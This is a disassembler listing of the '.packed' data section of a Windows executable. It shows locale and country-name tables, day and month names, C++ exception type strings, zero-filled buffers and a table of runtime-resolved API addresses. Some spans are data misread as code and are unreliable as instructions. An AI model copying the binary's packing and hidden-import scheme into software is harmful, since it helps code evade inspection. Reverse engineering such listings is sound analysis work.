off_4545D8	dd offset dword_454594	; DATA XREF: sub_433090+140r
					; sub_433090+16Ar ...
		align 10h
dword_4545E0	dd 0FFFFFFFFh		; DATA XREF: sub_433090+30w
					; sub_433470+1Ar ...
dword_4545E4	dd 0			; DATA XREF: sub_433470:loc_43366Br
					; sub_433470+20Fr ...
dword_4545E8	dd 0			; DATA XREF: sub_433470+2CFr
					; sub_433770+13Dw
		align 10h
dword_4545F0	dd 0FFFFFFFFh		; DATA XREF: sub_433090+21w
					; sub_433090+2Br ...
dword_4545F4	dd 0			; DATA XREF: sub_433470+201r
					; sub_433470+21Dr ...
dword_4545F8	dd 0			; DATA XREF: sub_433470+2E5r
					; sub_433770+1Dr ...
dword_4545FC	dd 0FFFFFFFFh		; DATA XREF: sub_433770+B0r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_45462C	dd 16Dh			; DATA XREF: sub_42D9A0+2Er
					; sub_433770+2Cr ...
dword_454630	dd 0FFFFFFFFh		; DATA XREF: sub_433770+BFr
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 3 dup(0)
dword_454670	dd 40Ah			; DATA XREF: sub_4359D0+3Er
					; sub_4359D0+147r
a040a		db '040a',0             ; DATA XREF: sub_4359D0+9Ao
		align 4
off_45467C	dd offset aSpanishTraditi ; DATA XREF: sub_4359D0+ABr
					; "Spanish - Traditional Sort"
off_454680	dd offset byte_505345	; DATA XREF: sub_4359D0+BCo
off_454684	dd offset aSpain	; DATA XREF: sub_4359D0+CDr
					; "Spain"
off_454688	dd offset byte_505345	; DATA XREF: sub_4359D0+DEo
dword_45468C	dd 303538h, 0		; DATA XREF: sub_4359D0+EFo
a1252		db '1252',0             ; DATA XREF: sub_4359D0+100o
		align 4
		dd 40Bh, 62303430h, 0
		dd offset aFinnish	; "Finnish"
		dd offset word_4E4946
		dd offset aFinland	; "Finland"
		dd offset word_4E4946
		dd 303538h, 0
a1252_0		db '1252',0
		align 4
		dd 40Ch, 63303430h, 0
		dd offset aFrench	; "French"
		dd offset loc_415246
		dd offset aFrance	; "France"
		dd offset loc_415246
		dd 303538h, 0
a1252_1		db '1252',0
		align 4
		dd 40Fh, 66303430h, 0
		dd offset aIcelandic	; "Icelandic"
		dd offset byte_4C5349
		dd offset aIceland	; "Iceland"
		dd offset byte_4C5349
		dd 303538h, 0
a1252_2		db '1252',0
		align 10h
		dd 41Dh, 64313430h, 0
		dd offset aSwedish	; "Swedish"
		dd offset byte_455653
		dd offset aSweden	; "Sweden"
		dd offset byte_455753
		dd 303538h, 0
a1252_3		db '1252',0
		align 4
		dd 42Dh, 64323430h, 0
		dd offset aBasque	; "Basque"
		dd offset byte_515545
		dd offset aSpain	; "Spain"
		dd offset byte_505345
		dd 303538h, 0
a1252_4		db '1252',0
		align 4
		db 0Ah
		db 8,0
		align 4
a080a		db '080a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4D5345
		dd offset aMexico	; "Mexico"
		dd 58454Dh, 303538h, 0
a1252_5		db '1252',0
		align 4
		dd 80Ch, 63303830h, 0
		dd offset aFrench	; "French"
		dd offset loc_425244+2
		dd offset aBelgium	; "Belgium"
		dd offset word_4C4542
		dd 303538h, 0
a1252_6		db '1252',0
		align 10h
		dd 0C07h, 37306330h, 0
		dd offset aGerman	; "German"
		dd offset loc_414542+2
		dd offset aAustria	; "Austria"
		dd 545541h, 303538h, 0
a1252_7		db '1252',0
		align 4
		dd 0C09h, 39306330h, 0
		dd offset aEnglish	; "English"
		dd offset loc_414E40+5
		dd offset aAustralia	; "Australia"
		dd 535541h, 303538h, 0
a1252_8		db '1252',0
		align 4
		dd 0C0Ah, 61306330h, 0
		dd offset aSpanishModernS ; "Spanish - Modern Sort"
		dd offset byte_4E5345
		dd offset aSpain	; "Spain"
		dd offset byte_505345
		dd 303538h, 0
a1252_9		db '1252',0
		align 4
		dd 0C0Ch, 63306330h, 0
		dd offset aFrench	; "French"
		dd offset loc_435240+6
		dd offset aCanada	; "Canada"
		dd offset byte_4E4143
		dd 303538h, 0
a1252_10	db '1252',0
		align 10h
		dd 100Ah, 61303031h, 0
		dd offset aSpanish	; "Spanish"
		dd offset byte_475345
		dd offset aGuatemala	; "Guatemala"
		dd offset byte_4D5447
		dd 303538h, 0
a1252_11	db '1252',0
		align 4
		dd 100Ch, 63303031h, 0
		dd offset aFrench	; "French"
		dd 535246h, 43D8DCh, 454843h, 303538h, 0
a1252_12	db '1252',0
		align 4
		dd 140Ah, 61303431h, 0
		dd offset aSpanish	; "Spanish"
		dd offset loc_435343+2
		dd offset aCostaRica	; "Costa Rica"
		dd offset byte_495243
		dd 303538h, 0
a1252_13	db '1252',0
		align 4
		dd 140Ch, 63303431h, 0
		dd offset aFrench	; "French"
		dd offset word_4C5246
		dd offset aLuxembourg	; "Luxembourg"
		dd 58554Ch, 303538h, 0
a1252_14	db '1252',0
		align 10h
		dd 180Ah, 61303831h, 0
		dd offset aSpanish	; "Spanish"
		dd offset loc_41533E+7
		dd offset aPanama	; "Panama"
		dd offset dword_4E4150
		dd 303538h, 0
a1252_15	db '1252',0
		align 4
		dd 1C09h, 39306331h, 0
		dd offset aEnglish	; "English"
		dd 534E45h, 43D8ACh, 46415Ah, 373334h, 0
a1252_16	db '1252',0
		align 4
		dd 1C0Ah, 61306331h, 0
		dd offset aSpanish	; "Spanish"
		dd offset aHackman+5
		dd offset aDominicanRepub ; "Dominican Republic"
		dd offset dword_4D4F44
		dd 303538h, 0
a1252_17	db '1252',0
		align 4
		db 0Ah
		db ' ',0
		align 4
a200a		db '200a',0
		align 10h
		dd offset aSpanish	; "Spanish"
		dd 565345h, 43D88Ch, 4E4556h, 303538h, 0
a1252_18	db '1252',0
		align 10h
		db 0Ah
		db '$',0
		align 4
a240a		db '240a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset dword_4F5344+1
		dd offset aColombia	; "Colombia"
		dd offset byte_4C4F43
		dd 303538h, 0
a1252_19	db '1252',0
		align 4
		db 0Ah
		db '(',0
		align 10h
a280a		db '280a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 525345h, 43D878h, 524550h, 303538h, 0
a1252_20	db '1252',0
		align 4
		db 0Ah
		db ',',0
		align 4
a2c0a		db '2c0a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 535345h, 43D86Ch, 475241h, 303538h, 0
a1252_21	db '1252',0
		align 4
a0		db 0Ah
		db '0',0
		align 4
a300a		db '300a',0
		align 10h
		dd offset aSpanish	; "Spanish"
		dd offset byte_465345
		dd offset aEcuador	; "Ecuador"
		dd 554345h, 303538h, 0
a1252_22	db '1252',0
		align 10h
a4		db 0Ah
		db '4',0
		align 4
a340a		db '340a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4C5345
		dd offset aChile	; "Chile"
		dd offset byte_4C4843
		dd 303538h, 0
a1252_23	db '1252',0
		align 4
a8		db 0Ah
		db '8',0
		align 10h
a380a		db '380a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 595345h, 43D854h, 595255h, 303538h, 0
a1252_24	db '1252',0
		align 4
		db 0Ah
		db '<',0
		align 4
a3c0a		db '3c0a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 5A5345h, 43D848h, 595250h, 303538h, 0
a1252_25	db '1252',0
		align 4
word_454B14	dw 0C0Ch, 0C1Ah, 1007h,	436h, 80Ch, 42Dh, 403h,	100Ch
					; DATA XREF: sub_4358A0+34r
		dw 810h, 81Dh
off_454B28	dd offset aAmerica	; DATA XREF: sub_434EB0+9Co
					; "america"
		dd offset loc_415355
		dd offset aBritain	; "britain"
		dd offset byte_524247
		dd offset aChina	; "china"
		dd offset byte_4E4843
		dd offset aCzech	; "czech"
		dd offset byte_455A43
		dd offset aEngland	; "england"
		dd offset byte_524247
		dd offset aGreatBritain	; "great britain"
		dd offset byte_524247
		dd offset aHolland	; "holland"
		dd offset aCompton+6
		dd offset aHongKong	; "hong-kong"
		dd offset dword_474B48
		dd offset aNewZealand	; "new-zealand"
		dd offset word_4C5A4E
		dd offset aNz		; "nz"
		dd offset word_4C5A4E
		dd offset aPrChina_0	; "pr china"
		dd offset byte_4E4843
		dd offset aPrChina	; "pr-china"
		dd offset byte_4E4843
		dd offset aPuertoRico	; "puerto-rico"
		dd offset dword_495250
		dd offset aSlovak	; "slovak"
		dd offset byte_4B5653
		dd offset aSouthAfrica_1 ; "south africa"
		dd offset word_46415A
		dd offset aSouthKorea_0	; "south korea"
		dd offset byte_524F4B
		dd offset aSouthAfrica_0 ; "south-africa"
		dd offset word_46415A
		dd offset aSouthKorea	; "south-korea"
		dd offset byte_524F4B
		dd offset aTrinidadTobago ; "trinidad &	tobago"
		dd offset dword_4F5454
		dd offset aUk		; "uk"
		dd offset byte_524247
		dd offset aUnitedKingdom ; "united-kingdom"
		dd offset byte_524247
		dd offset aUnitedStates	; "united-states"
		dd offset loc_415355
		dd offset aUs		; "us"
		dd offset loc_415355
off_454BE0	dd offset aAmerican	; DATA XREF: sub_434EB0+67o
					; "american"
		dd 554E45h, 43DEA8h, 554E45h, 43DE94h, 554E45h,	43DE88h
		dd 414E45h, 43DE80h, 424C4Eh, 43DE74h, 434E45h,	43DE70h
		dd 48485Ah, 43DE6Ch, 49485Ah, 43DE64h, 534843h,	43DE50h
		dd 48485Ah, 43DE3Ch, 534843h, 43DE28h, 49485Ah,	43DE14h
		dd 544843h, 43DE04h, 424C4Eh, 43DDF0h, 554E45h,	43DDE4h
		dd 414E45h, 43DDD4h, 4C4E45h, 43DDC8h, 434E45h,	43DDB4h
		dd 424E45h, 43DDA8h, 494E45h, 43DD98h, 4A4E45h,	43DD8Ch
		dd 5A4E45h, 43DD74h, 534E45h, 43DD58h, 544E45h,	43DD4Ch
		dd 474E45h, 43DD40h, 554E45h, 43DD34h, 554E45h,	43DD24h
		dd 425246h, 43DD14h, 435246h, 43DD00h, 4C5246h,	43DCF0h
		dd 535246h, 43DCE0h, 414544h, 43DCCCh, 434544h,	43DCB8h
		dd 4C4544h, 43DCA8h, 534544h, 43DC98h, 494E45h,	43DC88h
		dd 535449h, 43DC7Ch, 524F4Eh, 43DC68h, 524F4Eh,	43DC54h
		dd 4E4F4Eh, 43DC3Ch, 425450h, 43DC28h, 535345h,	43DC18h
		dd 425345h, 43DC08h, 4C5345h, 43DBF4h, 4F5345h,	43DBE0h
		dd 435345h, 43DBC4h, 445345h, 43DBB4h, 465345h,	43DBA0h
		dd 455345h, 43DB8Ch, 475345h, 43DB78h, 485345h,	43DB68h
		dd 4D5345h, 43DB58h, 4E5345h, 43DB44h, 495345h,	43DB34h
		dd 415345h, 43DB20h, 5A5345h, 43DB10h, 525345h,	43DAFCh
		dd 555345h, 43DAECh, 595345h, 43DAD8h, 565345h,	43DAC8h
		dd 465653h, 43DAC0h, 534544h, 43DABCh, 474E45h,	43DAB8h
		dd 554E45h, 43DAB4h, 554E45h
off_454DE8	dd offset off_454DF0	; DATA XREF: sub_433970+70w
					; sub_433970:loc_433A11w ...
		align 10h
off_454DF0	dd offset aSun		; DATA XREF: sub_433970:loc_433A11o
					; .packed:off_454DE8o
					; "Sun"
		dd offset aMon		; "Mon"
		dd offset aTue		; "Tue"
		dd offset aWed		; "Wed"
		dd offset aThu		; "Thu"
		dd offset aFri		; "Fri"
		dd offset aSat		; "Sat"
		dd offset aSunday	; "Sunday"
		dd offset aMonday	; "Monday"
		dd offset aTuesday	; "Tuesday"
		dd offset aWednesday	; "Wednesday"
		dd offset aThursday	; "Thursday"
		dd offset aFriday	; "Friday"
		dd offset aSaturday	; "Saturday"
		dd offset aJan		; "Jan"
		dd offset aFeb		; "Feb"
		dd offset aMar		; "Mar"
		dd offset aApr		; "Apr"
		dd offset aMay		; "May"
; ---------------------------------------------------------------------------
		mov	ah, 0DFh
		inc	ebx
		add	[eax-53FFBC21h], dh

loc_454E45:				; CODE XREF: .packed:00454E64j
		fild	word ptr [ebx+0]
		test	al, 0DFh
		inc	ebx
		add	[edi+ebx*8-205FFFBDh], ah
		inc	ebx
		add	[edi+ebx*8-206BFFBDh], bl
		inc	ebx
		add	[eax-7FFFBC21h], cl
		fild	word ptr [ebx+0]
		js	short loc_454E45
		inc	ebx
		add	[eax+700043DFh], bh
		fild	word ptr [ebx+0]
		push	600043DFh
		fild	word ptr [ebx+0]
		push	esp
		fild	word ptr [ebx+0]
		dec	esp
		fild	word ptr [ebx+0]
		inc	eax
		fild	word ptr [ebx+0]
		xor	al, 0DFh
		inc	ebx
		add	[eax], dh
		fild	word ptr [ebx+0]
		sub	al, 0DFh
		inc	ebx
		add	[edi+ebx*8], ah
		inc	ebx
		add	[eax], dl
		fild	word ptr [ebx+0]
		or	bh, bl
		inc	ebx
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_454EA0	dd 2Eh,	0		; DATA XREF: sub_4342F0+EEo
					; .packed:off_454EA8o
off_454EA8	dd offset dword_454EA0	; DATA XREF: sub_434620+D4w
					; sub_434620+F6o ...
off_454EAC	dd offset dword_4F3744	; DATA XREF: sub_434620+E2w
off_454EB0	dd offset dword_4F3744	; DATA XREF: sub_434620+F1w
		dd offset dword_4F3744
		dd offset dword_4F3744
		dd offset dword_4F3744
		dd offset dword_4F3744
		dd offset dword_4F3744
		dd offset dword_4F3744
		dd offset dword_4F3744
		dd 2 dup(7F7F7F7Fh)
off_454ED8	dd offset off_454EA8	; DATA XREF: sub_4342F0:loc_4343D9r
					; sub_4342F0+F8r ...
		align 10h
dword_454EE0	dd 2 dup(0)		; DATA XREF: sub_4395B0+6o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_455040	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_4395B0+2Ao
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_4551A0	dd offset off_43E17C	; DATA XREF: .packed:0043E2E4o
					; .packed:0043E3E4o
		align 8
a_?avexception@	db '.?AVexception@@',0
off_4551B8	dd offset off_43E17C	; DATA XREF: .packed:off_43E1D0o
					; .packed:0043E214o ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_4551D8	dd offset off_43E17C	; DATA XREF: .packed:off_43E220o
					; .packed:0043E264o ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_4551F8	dd offset off_43E17C	; DATA XREF: .packed:off_43E270o
					; .packed:0043E2B4o ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_455218	dd offset off_43E17C	; DATA XREF: .packed:off_43E2F0o
					; .packed:0043E32Co
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_432EE0
		align 8
dword_455238	dd 0			; DATA XREF: sub_401300+C8o
dword_45523C	dd 0			; DATA XREF: sub_401300+62o
dword_455240	dd 0			; DATA XREF: sub_401404+37Do
					; sub_401C87+AC7o ...
		dd 5 dup(0)
dword_455258	dd 0			; DATA XREF: sub_401C87+B23r
					; sub_415944+60r
		dd 0FDh	dup(0)
		db 3 dup(0)
byte_455653	db 0			; DATA XREF: .packed:00454730o
		dd 3Fh dup(0)
		db 3 dup(0)
byte_455753	db 0			; DATA XREF: .packed:00454738o
		dd 0BBh	dup(0)
		db 3 dup(0)
byte_455A43	db 0			; DATA XREF: .packed:00454B44o
		dd 0DFh	dup(0)
dword_455DC0	dd 0			; DATA XREF: sub_401C87+5F1Br
					; sub_401C87+601Dr ...
		dd 7Fh dup(0)
dword_455FC0	dd 0			; DATA XREF: sub_40B691+4Cw
					; sub_40B7CC+3Aw ...
dword_455FC4	dd 0			; DATA XREF: sub_40B691+3Ew
					; sub_40B7CC+40w ...
dword_455FC8	dd 0			; DATA XREF: sub_40B691+45w
					; sub_40B7CC+34r ...
dword_455FCC	dd 0			; DATA XREF: sub_401300+Cr
					; sub_4019A5+B9w ...
dword_455FD0	dd 0			; DATA XREF: sub_40B7CC+6Fr
					; sub_40B9A7+2Aw ...
dword_455FD4	dd 0			; DATA XREF: sub_401404+3C9w
					; sub_401404+441w ...
byte_455FD8	db 0			; DATA XREF: sub_4019A5+91o
					; sub_401C87+5E63r ...
		align 4
		dd 519h	dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: .packed:off_44F234o
		dd 3345h dup(0)
		db 2 dup(0)
word_46415A	dw 0			; DATA XREF: .packed:00454B9Co
					; .packed:00454BACo
		dd 47Ah	dup(0)
		db 0
byte_465345	db 3 dup(0)		; DATA XREF: .packed:00454A74o
		dd 3E00h dup(0)
dword_474B48	dd 1FFh	dup(0)		; DATA XREF: .packed:00454B64o
		db 0
byte_475345	db 3 dup(0)		; DATA XREF: .packed:00454890o
		dd 7FBEh dup(0)
		db 3 dup(0)
byte_495243	db 0			; DATA XREF: .packed:004548F0o
		align 10h
dword_495250	dd 7FFDh dup(0)		; DATA XREF: .packed:00454B8Co
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: .packed:off_44F3C8o
		dd 102h	dup(0)
		db 3 dup(0)
byte_4B5653	db 0			; DATA XREF: .packed:00454B94o
		dd 3BBBh dup(0)
		db 2 dup(0)
word_4C4542	dw 0			; DATA XREF: .packed:004547BCo
		dd 0BFh	dup(0)
		db 3 dup(0)
byte_4C4843	db 0			; DATA XREF: .packed:00454AA8o
		dd 1BFh	dup(0)
		db 3 dup(0)
byte_4C4F43	db 0			; DATA XREF: .packed:004549F8o
		dd 0C0h	dup(0)
		db 2 dup(0)
word_4C5246	dw 0			; DATA XREF: .packed:00454914o
		dd 3Fh dup(0)
		db 0
byte_4C5345	db 3 dup(0)		; DATA XREF: .packed:00454AA0o
		db 0
byte_4C5349	db 3 dup(0)		; DATA XREF: .packed:00454704o
					; .packed:0045470Co
		dd 1C0h	dup(0)
		db 2 dup(0)
word_4C5A4E	dw 0			; DATA XREF: .packed:00454B6Co
					; .packed:00454B74o
		dd 39C0h dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: .packed:off_44EAD8o
		dd 37Ch	dup(0)
dword_4D4F44	dd 100h	dup(0)		; DATA XREF: .packed:004549A0o
		db 0
byte_4D5345	db 3 dup(0)		; DATA XREF: .packed:00454788o
		dd 3Fh dup(0)
		db 3 dup(0)
byte_4D5447	db 0			; DATA XREF: .packed:00454898o
		dd 365Eh dup(0)
dword_4E2DC0	dd 0BBB5h		; DATA XREF: sub_401300+FDw
					; sub_40B691+13o ...
dword_4E2DC4	dd 1Bh			; DATA XREF: sub_401404+3Dw
					; sub_401C87:loc_40465Fr ...
dword_4E2DC8	dd 0			; DATA XREF: sub_401404:loc_4018CDo
dword_4E2DCC	dd 20h dup(0)		; DATA XREF: sub_401404+480o
					; sub_401404+50Do ...
dword_4E2E4C	dd 10h dup(0)		; DATA XREF: sub_401404+496o
dword_4E2E8C	dd 24h dup(0)		; DATA XREF: sub_401404+4ADo
dword_4E2F1C	dd 0			; DATA XREF: sub_401404+4A1w
					; sub_401404+524w ...
dword_4E2F20	dd 0			; DATA XREF: sub_401404+4BDw
		dd 2 dup(0)
byte_4E2F2C	db 0			; DATA XREF: sub_401B0B+28r
					; sub_401B0B+30o
byte_4E2F2D	db 3 dup(0)		; DATA XREF: .packed:0043F818o
dword_4E2F30	dd 0			; DATA XREF: sub_401404+4CEw
					; sub_401404+4E2r ...
dword_4E2F34	dd 0			; DATA XREF: sub_401404+485w
					; sub_401C87+86Fr
byte_4E2F38	db 0			; DATA XREF: sub_401404+23Eo
byte_4E2F39	db 0			; DATA XREF: sub_401C87+1E9Co
byte_4E2F3A	db 0			; DATA XREF: sub_401C87+22C8o
byte_4E2F3B	db 0			; DATA XREF: sub_401C87+40A8o
byte_4E2F3C	db 0			; DATA XREF: sub_401C87+41F6o
byte_4E2F3D	db 0			; DATA XREF: sub_401C87+447Co
word_4E2F3E	dw 0			; DATA XREF: sub_401C87+5C88o
dword_4E2F40	dd 0			; DATA XREF: sub_401C87+7E18o
dword_4E2F44	dd 77C72C6Bh		; DATA XREF: sub_409D10+4A7w
					; sub_409D10+4EBr ...
dword_4E2F48	dd 77EBA994h		; DATA XREF: sub_409D10+65w
					; sub_41A334+163r
dword_4E2F4C	dd 7622A3F4h		; DATA XREF: sub_409D10+80Bw
					; sub_409D10+880r ...
dword_4E2F50	dd 71C45229h		; DATA XREF: sub_409D10+9D8w
					; sub_409D10+A43r ...
dword_4E2F54	dd 71C24870h		; DATA XREF: sub_409D10+98Aw
					; sub_409D10+A13r ...
dword_4E2F58	dd 77C71BB0h		; DATA XREF: sub_409D10+48Dw
					; sub_409D10+4DBr ...
dword_4E2F5C	dd 77D4808Bh		; DATA XREF: sub_409D10+213w
					; sub_409D10+234r ...
dword_4E2F60	dd 71C4502Ch		; DATA XREF: sub_409D10+9CBw
					; sub_409D10+A3Br ...
dword_4E2F64	dd 77DE801Bh		; DATA XREF: sub_409D10+372w
					; sub_409D10+3C7r ...
dword_4E2F68	dd 77DDACABh		; DATA XREF: sub_409D10+40Fw
					; sub_41B6C1+11Er
dword_4E2F6C	dd 77DE8075h		; DATA XREF: sub_409D10+37Fw
					; sub_409D10+3CFr ...
dword_4E2F70	dd 77DD7496h		; DATA XREF: sub_409D10+3C0w
					; sub_41992C+ADr
dword_4E2F74	dd 71AB1B7Bh		; DATA XREF: sub_409D10+55Aw
					; sub_40FA20+115r ...
dword_4E2F78	dd 77E686CCh		; DATA XREF: sub_409D10+72w
					; sub_409D10+D2r ...
dword_4E2F7C	dd 71C2498Bh		; DATA XREF: sub_409D10+97Dw
					; sub_409D10+A06r ...
dword_4E2F80	dd 77DDAB2Fh		; DATA XREF: sub_409D10+3A6w
					; sub_409D10+3E7r ...
dword_4E2F84	dd 7620E8C3h		; DATA XREF: sub_409D10+859w
					; sub_409D10+8ACr ...
dword_4E2F88	dd 77DD23D7h		; DATA XREF: sub_409D10+2A5w
					; sub_409D10+2F0r ...
dword_4E2F8C	dd 76214750h		; DATA XREF: sub_409D10+84Cw
					; sub_409D10+8A4r ...
dword_4E2F90	dd 77E6D75Bh		; DATA XREF: sub_409D10+B3w
dword_4E2F94	dd 7620BD61h		; DATA XREF: sub_409D10+866w
					; sub_409D10+8B4r ...
dword_4E2F98	dd 71AB60C9h		; DATA XREF: sub_409D10+54Dw
					; sub_409D10+6D0r ...
dword_4E2F9C	dd 77EBA6E9h		; DATA XREF: sub_409D10+58w
					; sub_409D10+CAr ...
dword_4E2FA0	dd 76D62A58h		; DATA XREF: sub_409D10+934w
					; sub_413B2B+11Ar
dword_4E2FA4	dd 76F36EAAh		; DATA XREF: sub_401C87:loc_40408Dr
					; sub_409D10+A95w ...
dword_4E2FA8	dd 77E802FCh		; DATA XREF: sub_409D10+A6w
					; sub_409D10+F2r
dword_4E2FAC	dd 77C75455h		; DATA XREF: sub_409D10+480w
					; sub_409D10+4D3r ...
dword_4E2FB0	dd 71AB12A7h		; DATA XREF: sub_409D10+5F6w
					; sub_40C52D+20r ...
dword_4E2FB4	dd 71C574FAh		; DATA XREF: sub_409D10+9BEw
					; sub_409D10+A33r
dword_4E2FB8	dd 71AB1746h		; DATA XREF: sub_409D10+5E9w
					; sub_409D10+754r ...
dword_4E2FBC	dd 71C21CA3h		; DATA XREF: sub_409D10+A0Cw
dword_4E2FC0	dd 71B28D0Dh		; DATA XREF: sub_409D10+B50w
					; sub_40B8D3+16o ...
dword_4E2FC4	dd 762211EFh		; DATA XREF: sub_409D10+7FEw
					; sub_409D10+86Dr ...
dword_4E2FC8	dd 77D902E3h		; DATA XREF: sub_409D10+1B3w
					; sub_418E8C+15r
dword_4E2FCC	dd 71C2FA86h		; DATA XREF: sub_409D10+997w
					; sub_409D10+A1Br ...
dword_4E2FD0	dd 77DE1291h		; DATA XREF: sub_409D10+38Cw
					; sub_409D10+3D7r ...
dword_4E2FD4	dd 77E2C1B3h		; DATA XREF: sub_409D10+399w
					; sub_409D10+3DFr ...
dword_4E2FD8	dd 73B81E3Bh		; DATA XREF: sub_409D10+C85w
					; sub_409D10+C8Cr ...
dword_4E2FDC	dd 71ABF628h		; DATA XREF: sub_409D10+6ACw
					; sub_4110D4+D0r
dword_4E2FE0	dd 71AB1836h		; DATA XREF: sub_401300+1Dr
					; sub_401300+23r ...
dword_4E2FE4	dd 77C72889h		; DATA XREF: sub_409D10+4B4w
					; sub_415D1B+207r
dword_4E2FE8	dd 71C453F8h		; DATA XREF: sub_409D10+9E5w
					; sub_409D10+A4Br ...
dword_4E2FEC	dd 77DD5C55h		; DATA XREF: sub_401000+55r
					; sub_409D10+2B2w ...
dword_4E2FF0	dd 77E96645h		; DATA XREF: sub_409D10+7Fw
					; sub_409D10+DAr ...
dword_4E2FF4	dd 77428B97h		; DATA XREF: sub_401C87+59CBr
					; sub_401C87+7A73r ...
dword_4E2FF8	dd 71AB41DAh		; DATA XREF: sub_401404+8Cr
					; sub_401C87+519Dr ...
dword_4E2FFC	dd 762059A3h		; DATA XREF: sub_409D10+825w
					; sub_409D10+890r ...
dword_4E3000	dd 71C4A1B4h		; DATA XREF: sub_409D10+9A4w
					; sub_409D10+A23r
dword_4E3004	dd 1F7CD214h		; DATA XREF: sub_409D10+C0Ew
					; sub_409D10+C3Fr
dword_4E3008	dd 77E09134h		; DATA XREF: sub_409D10+2CCw
					; sub_419036+47r
dword_4E300C	dd 77D4456Bh		; DATA XREF: sub_409D10+22Dw
					; sub_4125C5+40r ...
dword_4E3010	dd 76D629BBh		; DATA XREF: sub_409D10+91Aw
					; sub_409D10+92Er ...
dword_4E3014	dd 1F7B9D96h		; DATA XREF: sub_409D10+C28w
dword_4E3018	dd 77E09070h		; DATA XREF: sub_409D10+2D9w
					; sub_419036+4Fr
dword_4E301C	dd 71AB1740h		; DATA XREF: sub_409D10+574w
					; sub_409D10+6E8r ...
dword_4E3020	dd 7620AFB6h		; DATA XREF: sub_409D10+83Fw
					; sub_409D10+873r
dword_4E3024	dd 77D5C13Ah		; DATA XREF: sub_409D10+220w
					; sub_409D10+23Cr ...
dword_4E3028	dd 77D45B19h		; DATA XREF: sub_409D10+172w
					; sub_409D10+1C2r ...
dword_4E302C	dd 71AB157Eh		; DATA XREF: sub_401C87+1DDDr
					; sub_401C87+5B85r ...
dword_4E3030	dd 71AB3E5Dh		; DATA XREF: sub_4019A5+C4r
					; sub_401C87+5227r ...
dword_4E3034	dd 71AB14DCh		; DATA XREF: sub_409D10+567w
					; sub_409D10+6DCr ...
